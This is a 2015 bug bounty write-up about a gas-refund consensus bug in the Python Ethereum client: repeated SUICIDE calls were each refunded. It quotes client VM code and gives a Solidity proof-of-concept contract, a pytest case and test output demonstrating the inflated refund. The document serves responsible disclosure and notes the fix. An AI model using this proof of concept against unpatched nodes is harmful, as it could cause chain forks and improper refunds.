I looked a bit into the python client for Ethereum, and found another bounty-bug; this time worth 4 BTC.
Thre are two VM implementations in the codebase, I’m not sure which one is used normally, but they both call ext.add_suicide(msg.to)
when the SUICIDE
operation is invoked.
ethereum/vm.py:
elif op == 'SUICIDE':
to = utils.encode_int(stk.pop())
to = ((b'\x00' * (32 - len(to))) + to)[12:]
xfer = ext.get_balance(msg.to)
ext.set_balance(msg.to, 0)
ext.set_balance(to, ext.get_balance(to) + xfer)
ext.add_suicide(msg.to)
/ethereum/fastvm.py:
elif op == op_SUICIDE:
to = utils.encode_int(stk.pop())
to = ((b'\x00' * (32 - len(to))) + to)[12:]
xfer = ext.get_balance(msg.to)
ext.set_balance(msg.to, 0)
ext.set_balance(to, ext.get_balance(to) + xfer)
ext.add_suicide(msg.to)
The method add_suicide
is specified as a lambda-function which just calls append
on block.suicides
in ethereum/processblock.py
:
self.add_suicide = lambda x: block.suicides.append(x)
The suicides
in a block is a standard python list
.
ethereum/blocks.py:
self.suicides = []
self.logs = []
Thus, two subsequent suicides by the same caller results - or rather, with the same key (address
), would wind up as two entries within the list. Upon further processing after transaction exection, refunds are calculated.
ethereum/processblock.py:
block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND
This yields refunds for each time that suicide has been called.
Is it possible to commit suicide several times ?
Yes. But it requires some trickery, since suicide
is basically the same as immediate return, which can be seen in this snippet from the go-client:
case RETURN:
offset, size := stack.pop(), stack.pop()
ret := mem.GetPtr(offset.Int64(), size.Int64())
return context.Return(ret), nil
case SUICIDE:
receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop()))
balance := statedb.GetBalance(context.Address())
receiver.AddBalance(balance)
statedb.Delete(context.Address())
fallthrough
case STOP: // Stop the context
return context.Return(nil), nil
All three cases, RETURN
, SUICIDE
and STOP
are basically the same. If we use the CALL
-opcode to call suicide, we can keep executing after the call returns.
contract Killer {
function homicide() {
suicide(msg.sender);
}
function multipleHomocide() {
Killer k = this;
k.homicide();
k.homicide();
}
}
The function above really calls itself, however, if we were to just call homocide()
directly, the solc compiler would use internal JUMP
instead of CALL
. We can change that by pretending that we’re calling another contract with the Killer k = this;
construction.
I verified this by adding a testcase within pyethereum/ethereum/tests/test_solidity.py. Two identical contracts, but one being killed several times.
solidity_suicider = """
contract Killer {
function homicide() {
suicide(msg.sender);
}
function multipleHomocide() {
Killer k = this;
k.homicide();
}
}
"""
solidity_suicider2 = """
contract Killer {
function homicide() {
suicide(msg.sender);
}
function multipleHomocide() {
Killer k = this;
k.homicide();
k.homicide();
k.homicide();
k.homicide();
}
}
"""
def test_suicides():
s = tester.state()
c = s.abi_contract(solidity_suicider, language='solidity', sender=tester.k0)
c2 = s.abi_contract(solidity_suicider2, language='solidity', sender=tester.k0)
c.multipleHomocide();
c2.multipleHomocide();
I also added some printouts to the block processor (processblock.py):
if len(block.suicides) > 0 :
print("Calculating block refunds. len(block.suicides) = %d " % len(block.suicides))
block.refunds += len(block.suicides) * opcodes.GSUICIDEREFUND
if block.refunds > 0:
log_tx.debug('Refunding', gas_refunded=min(block.refunds, gas_used // 2))
print('Refunding %d ' % min(block.refunds, gas_used // 2))
gas_remained += min(block.refunds, gas_used // 2)
And executed the test. Some lines snipped for brevity:
#py.test test_solidity.py -s
============================================================================ test session starts ============================================================================
platform linux2 -- Python 2.7.6 -- py-1.4.30 -- pytest-2.7.2
rootdir: /data/tools/pyethereum, inifile:
plugins: timeout
collecting 0 itemsWARNING:eth.pow using pure python implementation
collected 1 items
test_solidity.py 0 236
Calculating block refunds. len(block.suicides) = 1
Refunding 10814
Calculating block refunds. len(block.suicides) = 4
Refunding 11162
The C++ client uses a std::set<address
, ensuring uniqueness.
The Go-client uses a two step process.
First the gas calculation:
case SUICIDE:
if !statedb.IsDeleted(context.Address()) {
statedb.Refund(params.SuicideRefundGas)
}
Secondly, the actual execution:
case SUICIDE:
receiver := statedb.GetOrNewStateObject(common.BigToAddress(stack.pop()))
balance := statedb.GetBalance(context.Address())
receiver.AddBalance(balance)
statedb.Delete(context.Address())
Thereby, when the operation is executed, the Delete
operation on statedb is called, preventing it from being refunded again the next time.
Whenever we wind up with a different result between different clients, in this case python versus Go and C++, it’s a consensus issue; a.k.a fork. Forks are bad, but also eligible for rewards! I’m still only at second place on the ethereum bug bounty leaderboard though…
The issue was fixed by Vitalik Buterin in a couple of days ago for version 0.9.73 and an advisory was issued.
2015-08-15